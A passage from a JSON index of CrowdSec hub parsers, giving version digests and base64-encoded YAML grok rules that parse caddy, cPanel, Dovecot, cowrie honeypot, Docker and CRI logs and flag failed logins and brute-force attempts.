"ZmlsdGVyOiAiZXZ0LlBhcnNlZC5wcm9ncmFtIHN0YXJ0c1dpdGggJ2NhZGR5JyIKb25zdWNjZXNzOiBuZXh0X3N0YWdlCiMgZGVidWc6IHRydWUKbmFtZTogY3Jvd2RzZWN1cml0eS9jYWRkeS1sb2dzCmRlc2NyaXB0aW9uOiAiUGFyc2UgY2FkZHkgbG9ncyIKcGF0dGVybl9zeW50YXg6CiBDVVNUT01EQVRFOiAnJXtEQVk6ZGF5fSwgJXtNT05USERBWTptb250aGRheX0gJXtNT05USDptb250aH0gJXtZRUFSOnllYXJ9ICV7VElNRTp0aW1lfSAle1dPUkQ6dHp9Jwpub2RlczoKICAtIG5vZGVzOgogICAgLSBncm9rOgogICAgICAgIHBhdHRlcm46ICcle05PVFNQQUNFfSAle05PVFNQQUNFfSAle05PVFNQQUNFfSBcWyV7SFRUUERBVEU6dGltZXN0YW1wfVxdJXtEQVRBfScKICAgICAgICBleHByZXNzaW9uOiBKc29uRXh0cmFjdChldnQuTGluZS5SYXcsICJjb21tb25fbG9nIikKICAgICAgICBzdGF0aWNzOgogICAgICAgICAgLSB0YXJnZXQ6IGV2dC5TdHJUaW1lCiAgICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQudGltZXN0YW1wCiAgICAtIGdyb2s6CiAgICAgICAgcGF0dGVybjogIiV7Q1VTVE9NREFURTp0aW1lc3RhbXB9IgogICAgICAgIGV4cHJlc3Npb246IEpzb25FeHRyYWN0KGV2dC5MaW5lLlJhdywgInJlc3BfaGVhZGVycy5EYXRlWzBdIikKICAgICAgICBzdGF0aWNzOgogICAgICAgICAgLSB0YXJnZXQ6IGV2dC5TdHJUaW1lCiAgICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQuZGF5ICsgIiAiICsgZXZ0LlBhcnNlZC5tb250aCArICIgIiArIGV2dC5QYXJzZWQubW9udGhkYXkgKyAiICIgKyBldnQuUGFyc2VkLnRpbWUgKyAiLjAwMDAwMCIgKyAiICIgKyBldnQuUGFyc2VkLnllYXIKICAgIC0gZ3JvazoKICAgICAgICBwYXR0ZXJuOiAnJXtJUE9SSE9TVDpyZW1vdGVfYWRkcn06JXtOVU1CRVJ9JwogICAgICAgIGV4cHJlc3Npb246IEpzb25FeHRyYWN0KGV2dC5MaW5lLlJhdywgInJlcXVlc3QucmVtb3RlX2FkZHIiKQogICAgLSBncm9rOgogICAgICAgIHBhdHRlcm46ICcle0lQT1JIT1NUOnJlbW90ZV9pcH0nCiAgICAgICAgZXhwcmVzc2lvbjogSnNvbkV4dHJhY3QoZXZ0LkxpbmUuUmF3LCAicmVxdWVzdC5yZW1vdGVfaXAiKQogICAgLSBncm9rOgogICAgICAgIHBhdHRlcm46ICdcWyIle05PVERRVU9URTpodHRwX3VzZXJfYWdlbnR9XCJdJwogICAgICAgIGV4cHJlc3Npb246IEpzb25FeHRyYWN0KGV2dC5MaW5lLlJhdywgInJlcXVlc3QuaGVhZGVycy5Vc2VyLUFnZW50IikKc3RhdGljczoKICAtIG1ldGE6IGxvZ190eXBlCiAgICB2YWx1ZTogaHR0cF9hY2Nlc3MtbG9nCiAgLSBtZXRhOiBzZXJ2aWNlCiAgICB2YWx1ZTogaHR0cAogIC0gbWV0YTogc291cmNlX2lwCiAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnJlbW90ZV9hZGRyCiAgLSBtZXRhOiBzb3VyY2VfaXAKICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQucmVtb3RlX2lwCiAgLSBtZXRhOiBodHRwX3N0YXR1cwogICAgZXhwcmVzc2lvbjogSnNvbkV4dHJhY3QoZXZ0LkxpbmUuUmF3LCAic3RhdHVzIikKICAtIG1ldGE6IGh0dHBfcGF0aAogICAgZXhwcmVzc2lvbjogSnNvbkV4dHJhY3QoZXZ0LkxpbmUuUmF3LCAicmVxdWVzdC51cmkiKQogIC0gdGFyZ2V0OiBldnQuUGFyc2VkLnJlcXVlc3QgI0FkZCBmb3IgaHR0cC1sb2dzIGVucmljaGVyCiAgICBleHByZXNzaW9uOiBKc29uRXh0cmFjdChldnQuTGluZS5SYXcsICJyZXF1ZXN0LnVyaSIpCiAgLSBwYXJzZWQ6IHZlcmIKICAgIGV4cHJlc3Npb246IEpzb25FeHRyYWN0KGV2dC5MaW5lLlJhdywgInJlcXVlc3QubWV0aG9kIikKICAtIG1ldGE6IGh0dHBfdmVyYgogICAgZXhwcmVzc2lvbjogSnNvbkV4dHJhY3QoZXZ0LkxpbmUuUmF3LCAicmVxdWVzdC5tZXRob2QiKQogIC0gbWV0YTogaHR0cF91c2VyX2FnZW50CiAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLmh0dHBfdXNlcl9hZ2VudAogIC0gbWV0YTogdGFyZ2V0X2ZxZG4KICAgIGV4cHJlc3Npb246IEpzb25FeHRyYWN0KGV2dC5MaW5lLlJhdywgInJlcXVlc3QuaG9zdCIpCiAgLSBtZXRhOiBzdWJfdHlwZQogICAgZXhwcmVzc2lvbjogIkpzb25FeHRyYWN0KGV2dC5MaW5lLlJhdywgJ3N0YXR1cycpID09ICc0MDEnICYmIEpzb25FeHRyYWN0KGV2dC5MaW5lLlJhdywgJ3JlcXVlc3QuaGVhZGVycy5BdXRob3JpemF0aW9uWzBdJykgc3RhcnRzV2l0aCAnQmFzaWMgJyA/ICdhdXRoX2ZhaWwnIDogJyci", "description": "Parse caddy logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/cowrie-logs": { "path": "parsers/s01-parse/crowdsecurity/cowrie-logs.yaml", "stage": "s01-parse", "version": "0.1", "versions": { "0.1": { "digest": "4ebcf38bef1106ba94ccf6aa575958695de12fa1278b25dddb76cfdce93b553b", "deprecated": false } }, "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCm5hbWU6IGNvd3JpZS1sb2dzCmRlc2NyaXB0aW9uOiAiUGFyc2UgY293cmllIGhvbmV5cG90cyBsb2dzIgpmaWx0ZXI6ICJldnQuUGFyc2VkLnByb2dyYW0gPT0gJ2Nvd3JpZSciCmdyb2s6CiAgbmFtZTogIkNPV1JJRV9ORVdfQ08iCiAgYXBwbHlfb246IG1lc3NhZ2UKc3RhdGljczoKICAgIC0gbWV0YTogc2VydmljZQogICAgICB2YWx1ZTogdGVsbmV0CiAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgIHZhbHVlOiB0ZWxuZXRfbmV3X3Nlc3Npb24KICAgIC0gbWV0YTogc291cmNlX2lwCiAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnNvdXJjZV9pcCIKICAgIC0gbWV0YTogZGVzdF9pcAogICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5kZXN0X2lwIgogICAgLSBtZXRhOiBkZXN0X3BvcnQKICAgICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQuZGVzdF9wb3J0IgogICAgLSBwYXJzZWQ6ICJ0ZWxuZXRfc2Vzc2lvbiIKICAgICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQudGVsbmV0X3Nlc3Npb24i", "description": "Parse cowrie honeypots logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/cpanel-logs": { "path": "parsers/s01-parse/crowdsecurity/cpanel-logs.yaml", "stage": "s01-parse", "version": "0.4", "versions": { "0.1": { "digest": "1ff320cb8be4b2ed7e02f2614277d32fcfe8ee60058f6480bb3ab4ff53125ae0", "deprecated": false }, "0.2": { "digest": "38155a2c95c77f26ae07f1718f01eb0fbf946b7dde10f50d375d6b82095807cb", "deprecated": false }, "0.3": { "digest": "66ff0528cc940645a2a1e07894b048d52c9eb02341f6e2abe8756e70ae36f870", "deprecated": false }, "0.4": { "digest": "3ce770d729d896d39598fa0f2d560edf900a05dbcd4f9a460e35a987f8eca8cf", "deprecated": false } }, "long_description": "UGFyc2VyIGZvciBjcGFuZWwgbG9ncy4g", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCmZpbHRlcjogImV2dC5QYXJzZWQucHJvZ3JhbSA9PSAnY3BhbmVsJyIKbmFtZTogY3Jvd2RzZWN1cml0eS9jcGFuZWwtbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIENwYW5lbCBsb2dzIgpwYXR0ZXJuX3N5bnRheDoKICBOT19ET1VCTEVfUVVPVEU6ICdbXiJdKycKICBDUEFORUxfSEVBREVSOiBcWyV7REFUQTpkYXRlfSBcK1swLTldK1xdIGluZm8gXFsoY3BhbmVsZHx3aG9zdG1ncmQpXF0gJXtJUDpyZW1vdGVfYWRkcn0gLSAle05PVFNQQUNFOnVzZXJuYW1lfSAiJXtXT1JEOnZlcmJ9ICV7VVJJUEFUSFBBUkFNOnJlcXVlc3R9IEhUVFAvJXtOVU1CRVI6aHR0cF92ZXJzaW9ufSIKbm9kZXM6CiAgLSBncm9rOiAKICAgICAgcGF0dGVybjogJyV7Q1BBTkVMX0hFQURFUn0gRkFJTEVEIExPR0lOIGNwYW5lbGQ6IGJydXRlIGZvcmNlIGF0dGVtcHQgXCh1c2VyICV7REFUQX1cKSBoYXMgbG9ja2VkIG91dCBJUCAle0lQfScKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgc3RhdGljczoKICAgICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgICB2YWx1ZTogYXV0aF9iZl9hdHRlbXB0CiAgICAgICAgLSB0YXJnZXQ6IGV2dC5TdHJUaW1lCiAgICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLmRhdGUKICAtIGdyb2s6IAogICAgICBwYXR0ZXJuOiAnJXtDUEFORUxfSEVBREVSfSBGQUlMRUQgTE9HSU4gY3BhbmVsZDogYnJ1dGUgZm9yY2UgYXR0ZW1wdCBcKHVzZXIgJXtEQVRBOnRhcmdldF91c2VyfVwpIGhhcyBsb2NrZWQgb3V0IElQICV7SVB9JwogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICBzdGF0aWNzOgogICAgICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgICAgIHZhbHVlOiBhdXRoX2JmX2xvZwogICAgICAgIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5kYXRlCiAgLSBncm9rOiAKICAgICAgcGF0dGVybjogJyV7Q1BBTkVMX0hFQURFUn0gRkFJTEVEIExPR0lOIGNwYW5lbGQ6IGludmFsaWQgY3BhbmVsIHVzZXIgJXtEQVRBOnRhcmdldF91c2VyfScKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgc3RhdGljczoKICAgICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgICB2YWx1ZTogYXV0aF9iZl9sb2cKICAgICAgICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQuZGF0ZQogIC0gZ3JvazogCiAgICAgIHBhdHRlcm46ICcle0NQQU5FTF9IRUFERVJ9IEZBSUxFRCBMT0dJTiBjcGFuZWxkOiAle0RBVEE6dGFyZ2V0X3VzZXJ9IGxvZ2luIGlzIG5vdCBwZXJtaXR0ZWQgdG8gY3BhbmVsZCcKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgc3RhdGljczoKICAgICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgICB2YWx1ZTogYXV0aF9iZl9sb2cKICAgICAgICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQuZGF0ZQogIC0gZ3JvazogCiAgICAgIHBhdHRlcm46ICcle0NQQU5FTF9IRUFERVJ9IEZBSUxFRCBMT0dJTiB3aG9zdG1ncmQ6IGxvZ2luIGF0dGVtcHQgdG8gd2htIGJ5IGEgbm9uLXJlc2VsbGVyL3Jvb3QnCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgIHN0YXRpY3M6CiAgICAgICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICAgICAgdmFsdWU6IGF1dGhfYmZfbG9nCiAgICAgICAgLSB0YXJnZXQ6IGV2dC5TdHJUaW1lCiAgICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLmRhdGUKICAtIGdyb2s6IAogICAgICBwYXR0ZXJuOiAnJXtDUEFORUxfSEVBREVSfSBGQUlMRUQgTE9HSU4gd2hvc3RtZ3JkOiB1c2VyIHBhc3N3b3JkIGluY29ycmVjdCcKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgc3RhdGljczoKICAgICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgICB2YWx1ZTogYXV0aF9iZl9sb2cKICAgICAgICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQuZGF0ZQogIC0gZ3JvazogIyBzZWUgaHR0cHM6Ly9kb2NzLmNwYW5lbC5uZXQva25vd2xlZGdlLWJhc2UvY3BhbmVsLXByb2R1Y3QvdGhlLWNwYW5lbC1sb2ctZmlsZXMvCiAgICAgIHBhdHRlcm46ICcle0lQOnJlbW90ZV9hZGRyfSAtICV7Tk9UU1BBQ0U6dXNlcm5hbWV9IFxbJXtEQVRFfTole1RJTUV9ICV7SVNPODYwMV9USU1FWk9ORX1cXSAiJXtXT1JEOnZlcmJ9ICV7VVJJUEFUSFBBUkFNOnJlcXVlc3R9IEhUVFAvJXtOVU1CRVI6aHR0cF92ZXJzaW9ufSIgJXtJTlQ6c3RhdHVzfSAle0lOVDpyZXF1ZXN0X2JvZHlfbGVuZ3RofSAiJXtOT1RTUEFDRTpodHRwX3JlZmVyZXJ9IiAiJXtOT19ET1VCTEVfUVVPVEU6aHR0cF91c2VyX2FnZW50fSIgIiV7Tk9fRE9VQkxFX1FVT1RFOmF1dGhfbWV0aG9kfSIgIiV7Tk9fRE9VQkxFX1FVT1RFOnhfZm9yd2FyZGVkX2Zvcn0iICV7TlVNQkVSOnNlcnZlcl9wb3J0fScKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgc3RhdGljczoKICAgICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgICB2YWx1ZTogaHR0cF9hY2Nlc3MtbG9nCnN0YXRpY3M6CiAgLSBtZXRhOiBzZXJ2aWNlCiAgICB2YWx1ZTogaHR0cAogIC0gbWV0YTogc291cmNlX2lwCiAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5yZW1vdGVfYWRkciIKICAtIG1ldGE6IGh0dHBfcGF0aAogICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQucmVxdWVzdCIKICAtIG1ldGE6IGh0dHBfdmVyYgogICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQudmVyYiIKICAtIG1ldGE6IGh0dHBfdXNlcl9hZ2VudAogICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQuaHR0cF91c2VyX2FnZW50IgogIC0gbWV0YTogaHR0cF9zdGF0dXMKICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnN0YXR1cyIKICAtIG1ldGE6IHVzZXJuYW1lCiAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC51c2VybmFtZSI=", "description": "Parse Cpanel logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/cri-logs": { "path": "parsers/s00-raw/crowdsecurity/cri-logs.yaml", "stage": "s00-raw", "version": "0.1", "versions": { "0.1": { "digest": "3818208420042396bc2ed0d75dee43d6651c5979b351642128d11ce8360f7347", "deprecated": false } }, "long_description": "IyBDUkkgbG9nIGZvcm1hdCBwYXJzZXIKClRoaXMgaXMgdGhlIGRlZmF1bHQgQ1JJIGxvZ3MgZm9ybWF0IHBhcnNlci4KSXQgd29ya3Mgb24ga3ViZXJuZXRlcyB1c2luZyBjb250YWluZXJkLgoKIyMgcmVxdWlyZW1lbnRzCgpXaGVuIHVzaW5nIHRoaXMgcGFyc2VyLCB5b3UgbmVlZCB0byBzcGVjaWZ5IGluIHlvdXIgYGFjcXVpcy55YW1sYCB0eXBlIGFuZCBwcm9ncmFtLiBTbyB5b3VyIGxvZyB3aWxsIGJlIGV4dHJhY3RlZCBhbmQgdGhlbiBzZW50IHRvIHRoZSBwcm9wZXIgbmV4dCBwYXJzZXIgdXNpbmcgdGhlIHByb2dyYW0ga2V5LgoKZXhhbXBsZTogCgpgYGB5YW1sCmxhYmVsczoKIHR5cGU6IGNvbnRhaW5lcmQKIHByb2dyYW06IG5naW54CmBgYAo=", "content": "ZmlsdGVyOiAiZXZ0LkxpbmUuTGFiZWxzLnR5cGUgPT0gJ2NvbnRhaW5lcmQnIgpvbnN1Y2Nlc3M6IG5leHRfc3RhZ2UKbmFtZTogY3Jvd2RzZWN1cml0eS9jcmktbG9ncwpkZXNjcmlwdGlvbjogQ1JJIGxvZ2dpbmcgZm9ybWF0IHBhcnNlcgpub2RlczoKICAtIGdyb2s6CiAgICAgIHBhdHRlcm46ICJeJXtUSU1FU1RBTVBfSVNPODYwMTpjcmlfdGltZXN0YW1wfSAle1dPUkQ6c3RyZWFtfSAle1dPUkQ6bG9ndGFnfSAle0dSRUVEWURBVEE6bWVzc2FnZX0iCiAgICAgIGFwcGx5X29uOiBMaW5lLlJhdwpzdGF0aWNzOgogIC0gcGFyc2VkOiAibG9nc291cmNlIgogICAgdmFsdWU6ICJjcmkiCiAgLSB0YXJnZXQ6IGV2dC5TdHJUaW1lCiAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLmNyaV90aW1lc3RhbXAKICAtIHBhcnNlZDogcHJvZ3JhbQogICAgZXhwcmVzc2lvbjogZXZ0LkxpbmUuTGFiZWxzLnByb2dyYW0KICAtIG1ldGE6IGRhdGFzb3VyY2VfcGF0aAogICAgZXhwcmVzc2lvbjogZXZ0LkxpbmUuU3JjCiAgLSBtZXRhOiBkYXRhc291cmNlX3R5cGUKICAgIGV4cHJlc3Npb246IGV2dC5MaW5lLk1vZHVsZQ==", "description": "CRI logging format parser", "author": "crowdsecurity", "labels": null }, "crowdsecurity/dateparse-enrich": { "path": "parsers/s02-enrich/crowdsecurity/dateparse-enrich.yaml", "stage": "s02-enrich", "version": "0.2", "versions": { "0.1": { "digest": "16b79f7ef39d0c5e71180cff559b0e2ef98983f2009b5f26d778509e897f94d4", "deprecated": false }, "0.2": { "digest": "3f51a6c389bbf1c38f49d8824b6bffd9a265d0fa78a98af71628256019847951", "deprecated": false } }, "long_description": "UGFyc2VzIHRpbWVzdGFtcCBzdHJpbmdzIGluIGxvZ3MgdG8gYmUgdXNlZCBpbiBbZm9yZW5zaWMgbW9kZV0oaHR0cHM6Ly9kb2MuY3Jvd2RzZWMubmV0L0Nyb3dkc2VjL3YxL3VzZXJfZ3VpZGUvZm9yZW5zaWNfbW9kZS8pLiBUaGUgcGFyc2VyIHN1cHBvcnRzIHRoZSBmb2xsb3dpbmcgZm9ybWF0cywgb3IgdGhlIG9uZSBwcm92aWRlZCBpbiBgU3RyVGltZUZvcm1hdGAgOgoKIC0gUkZDMzMzOQogLSBgMDIvSmFuLzIwMDY6MTU6MDQ6MDUgLTA3MDBgCiAtIGBNb24gSmFuIDIgMTU6MDQ6MDUgMjAwNmAKIC0gYDAyLUphbi0yMDA2IDE1OjA0OjA1IGV1cm9wZS9wYXJpc2AKIC0gYDAxLzAyLzIwMDYgMTU6MDQ6MDVgCiAtIGAyMDA2LTAxLTAyIDE1OjA0OjA1Ljk5OTk5OTk5OSAtMDcwMCBNU1RgCiAtIGBKYW4gIDIgMTU6MDQ6MDVgCiAtIGBNb24gSmFuIDAyIDE1OjA0OjA1LjAwMDAwMCAyMDA2YAogLSBgMjAwNi0wMS0wMlQxNTowNDowNVowNzowMGAKIC0gYDIwMDYvMDEvMDJgCiAtIGAyMDA2LzAxLzAyIDE1OjA0YAogLSBgMjAwNi0wMS0wMmAKIC0gYDIwMDYtMDEtMDIgMTU6MDRgCgpUaGUgYFN0clRpbWVgIGl0ZW0gb2YgdGhlIGV2ZW50IGlzIHBhcnNlZCBieSBkZWZhdWx0LiBTZWUgW2Nyb3dkc2VjdXJpdHkvc3lzbG9nLWxvZ3NdKGh0dHBzOi8vaHViLmNyb3dkc2VjLm5ldC9hdXRob3IvY3Jvd2RzZWN1cml0eS9jb25maWd1cmF0aW9ucy9zeXNsb2ctbG9ncykgYXMgYW4gZXhhbXBsZSBvZiBhIHBhcnNlciBzZXR0aW5nIHRoaXMgZmllbGQgZm9yIGBjcm93ZHNlY3VyaXR5L2RhdGVwYXJzZS1lbnJpY2hgLgoKSWYgYSBkYXRlIGxheW91dCBpcyBwcmVzZW50IGluIHRoZSBgU3RyVGltZUZvcm1hdGAgZmllbGQgb2YgdGhlIGV2ZW50LCBpdCB3aWxsIHRha2UgcHJlY2VkZW5jZSBvdmVyIHRoZSBsaXN0IGFib3ZlLiBUaGUgZGF0ZSBsYXlvdXQgbXVzdCBiZSAoW3ZhbGlkIGluIHRoZSBnb2xhbmcncyBgdGltZS5QYXJzZWAgbGF5b3V0IGZvcm1hdF0oaHR0cHM6Ly9wa2cuZ28uZGV2L3RpbWUjUGFyc2UpKSwgYWxsb3dpbmcgcGFyc2VycyB0byBzcGVjaWZ5IHRoZSBkYXRlIGZvcm1hdCBmb3IgbGF0ZXIgcGFyc2luZyA6CgoKYGBgeWFtbApmaWx0ZXI6IC4uLgouLi4Kc3RhdGljczoKICAtIHRhcmdldDogZXZ0LlN0clRpbWVGb3JtYXQKICAgIHZhbHVlOiAiMjAwNiAyIDE1LjA0LjA1IEphbiIKLi4uCmBgYAoKVGhpcyBhbGxvd3MgYGNyb3dkc2VjdXJpdHkvZGF0ZXBhcnNlLWVucmljaGAgdG8gcGFyc2UgZGF0ZXMgaW4gdGhpcyBmb3JtYXQgZm9yIHRoaXMgbG9nIHR5cGUuCgoK", "content": "ZmlsdGVyOiAiZXZ0LlN0clRpbWUgIT0gJyciCm5hbWU6IGNyb3dkc2VjdXJpdHkvZGF0ZXBhcnNlLWVucmljaAojZGVidWc6IHRydWUKI2l0J3MgYSBoYWNrIGxvbApzdGF0aWNzOgogIC0gbWV0aG9kOiBQYXJzZURhdGUKICAgIGV4cHJlc3Npb246IGV2dC5TdHJUaW1lCiAgLSB0YXJnZXQ6IE1hcnNoYWxlZFRpbWUKICAgIGV4cHJlc3Npb246IGV2dC5FbnJpY2hlZC5NYXJzaGFsZWRUaW1lCiAgLSBtZXRhOiB0aW1lc3RhbXAKICAgIGV4cHJlc3Npb246IGV2dC5FbnJpY2hlZC5NYXJzaGFsZWRUaW1l", "author": "crowdsecurity", "labels": null }, "crowdsecurity/docker-logs": { "path": "parsers/s00-raw/crowdsecurity/docker-logs.yaml", "stage": "s00-raw", "version": "0.1", "versions": { "0.1": { "digest": "b4f5459826ae22b000239839f51c82b0358625f71416f9ef2540719eb791a746", "deprecated": false } }, "long_description": "IyBEb2NrZXIgcGFyc2VyCgpUaGlzIGlzIHRoZSBkZWZhdWx0IGRvY2tlciBqc29uIGxvZ3MgZm9ybWF0IHBhcnNlci4KSXQgd29ya3Mgb24ga3ViZXJuZXRlcyB1c2luZyBkb2NrZXIuCgojIyByZXF1aXJlbWVudHMKCldoZW4gdXNpbmcgdGhpcyBwYXJzZXIsIHlvdSBuZWVkIHRvIHNwZWNpZnkgaW4geW91ciBgYWNxdWlzLnlhbWxgIHR5cGUgYW5kIHByb2dyYW0uIFNvIHlvdXIgbG9nIHdpbGwgYmUgZXh0cmFjdGVkIGFuZCB0aGVuIHNlbnQgdG8gdGhlIHByb3BlciBuZXh0IHBhcnNlciB1c2luZyB0aGUgcHJvZ3JhbSBrZXkuCgpleGFtcGxlOiAKCmBgYHlhbWwKbGFiZWxzOgogdHlwZTogZG9ja2VyCiBwcm9ncmFtOiBuZ2lueApgYGAK", "content": "I0lmIGl0J3MgZG9ja2VyLCB3ZSBhcmUgZ29pbmcgdG8gZXh0cmFjdCBsb2cgbGluZSBmcm9tIGl0CmZpbHRlcjogImV2dC5MaW5lLkxhYmVscy50eXBlID09ICdkb2NrZXInIgpvbnN1Y2Nlc3M6IG5leHRfc3RhZ2UKbmFtZTogY3Jvd2RzZWN1cml0eS9kb2NrZXItbG9ncwpkZXNjcmlwdGlvbjogZG9ja2VyIGpzb24gbG9ncyBwYXJzZXIKc3RhdGljczoKICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgIGV4cHJlc3Npb246IEpzb25FeHRyYWN0KGV2dC5MaW5lLlJhdywgInRpbWUiKQogIC0gcGFyc2VkOiBtZXNzYWdlCiAgICBleHByZXNzaW9uOiBKc29uRXh0cmFjdFVuZXNjYXBlKGV2dC5MaW5lLlJhdywgImxvZyIpCiAgLSBwYXJzZWQ6IHByb2dyYW0KICAgIGV4cHJlc3Npb246IGV2dC5MaW5lLkxhYmVscy5wcm9ncmFt", "description": "docker json logs parser", "author": "crowdsecurity", "labels": null }, "crowdsecurity/dovecot-logs": { "path": "parsers/s01-parse/crowdsecurity/dovecot-logs.yaml", "stage": "s01-parse", "version": "0.6", "versions": { "0.1": { "digest": "3d30684b5d1ceea08ea743a2fa1697178d878bd87eb55e465432c000da162b42", "deprecated": false }, "0.2": { "digest": "e1fdf543acd0fb44d6db33368c5250d4667a5c2283c8310fd0fd6f87a820276a", "deprecated": false }, "0.3": { "digest": "58047a5c1f160cf95b7156eeaf9f17428f8bb8a070776f6ea6531c4110e2aa6e", "deprecated": false }, "0.4": { "digest": "2fdc9cb6499f83dcda7897cb05bfbe7639938980986b32b5f37adc4b2f7594c9", "deprecated": false }, "0.5": { "digest": "8a814d554c02f3e2ab28ee0dadd019f6bfe2830f44cb22e2206c9314cae4aa81", "deprecated": false }, "0.6": { "digest": "26e433e5003785f182395e76d43a5b9b0fc40c7db7ae7f52c33cdf8a3b543ac9", "deprecated": false } }, "content": "I2NvbnRyaWJ1dGlvbiBieSBAbHRzaWNoCm9uc3VjY2VzczogbmV4dF9zdGFnZQpkZWJ1ZzogZmFsc2UKZmlsdGVyOiAiZXZ0LlBhcnNlZC5wcm9ncmFtID09ICdkb3ZlY290JyIKbmFtZTogY3Jvd2RzZWN1cml0eS9kb3ZlY290LWxvZ3MKZGVzY3JpcHRpb246ICJQYXJzZSBkb3ZlY290IGxvZ3MiCm5vZGVzOgogIC0gZ3JvazoKICAgICAgcGF0dGVybjogIiV7V09SRDpwcm90b2NvbH0tbG9naW46ICV7REFUQTpkb3ZlY290X2xvZ2luX21lc3NhZ2V9OiB1c2VyPTwle0RBVEE6ZG92ZWNvdF91c2VyfT4uKiwgcmlwPSV7SVA6ZG92ZWNvdF9yZW1vdGVfaXB9LCBsaXA9JXtJUDpkb3ZlY290X2xvY2FsX2lwfSIKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAtIGdyb2s6CiAgICAgIHBhdHRlcm46ICJhdXRoLXdvcmtlclxcKCV7SU5UfVxcKTogcGFtXFwoJXtEQVRBOmRvdmVjb3RfdXNlcn0sJXtJUDpkb3ZlY290X3JlbW90ZV9pcH0sPyV7REFUQX1cXCk6ICgle0RBVEF9OiApPyV7REFUQTpkb3ZlY290X2xvZ2luX21lc3NhZ2V9JCIKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAtIGdyb2s6CiAgICAgIHBhdHRlcm46ICJhdXRoLXdvcmtlclxcKCV7SU5UfVxcKTogY29ubiB1bml4OmF1dGgtd29ya2VyIFxcKHBpZD0le0lOVH0sdWlkPSV7SU5UfVxcKTogYXV0aC13b3JrZXI8JXtJTlR9PjogcGFtXFwoJXtEQVRBOmRvdmVjb3RfdXNlcn0sJXtJUDpkb3ZlY290X3JlbW90ZV9pcH0sPyV7REFUQX1cXCk6ICgle0RBVEF9OiApPyV7REFUQTpkb3ZlY290X2xvZ2luX21lc3NhZ2V9JCIKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAtIGdyb2s6CiAgICAgIHBhdHRlcm46ICJhdXRoOiBwYXNzd2QtZmlsZVxcKCV7REFUQTpkb3ZlY290X3VzZXJ9LCV7SVA6ZG92ZWNvdF9yZW1vdGVfaXB9XFwpOiAoJXtEQVRBfTogKT8le0RBVEE6ZG92ZWNvdF9sb2dpbl9tZXNzYWdlfSQiCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCnN0YXRpY3M6CiAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgIHZhbHVlOiBkb3ZlY290X2xvZ3MKICAgIC0gbWV0YTogc291cmNlX2lwCiAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLmRvdmVjb3RfcmVtb3RlX2lwIgogICAgLSBtZXRhOiBkb3ZlY290X2xvZ2luX3Jlc3VsdAogICAgICBleHByZXNzaW9uOiAiYW55KFsnQXV0aGVudGljYXRpb24gZmFpbHVyZScsICdQYXNzd29yZCBtaXNtYXRjaCcsICdwYXNzd29yZCBtaXNtYXRjaCcsICdhdXRoIGZhaWxlZCcsICd1bmtub3duIHVzZXInXSwge2V2dC5QYXJzZWQuZG92ZWNvdF9sb2dpbl9tZXNzYWdlIGNvbnRhaW5zICN9KSA/ICdhdXRoX2ZhaWxlZCcgOiAnJyIK", "description": "Parse dovecot logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/dropbear-logs": { "path": "parsers/s01-parse/crowdsecurity/dropbear-logs.yaml", "stage": "s01-parse", "version": "0.2", "versions": { "0.1": { "digest": "316bce3c9bfd35900b9a4d668189fa733a2a91d65f3725337c085ac18af51d38", "deprecated": false }, "0.2": { "digest": "1bc1ef9778e3d75213ab3475e51107516b6b176783533f3855a9d37940828015", "deprecated": false } }, "long_description": 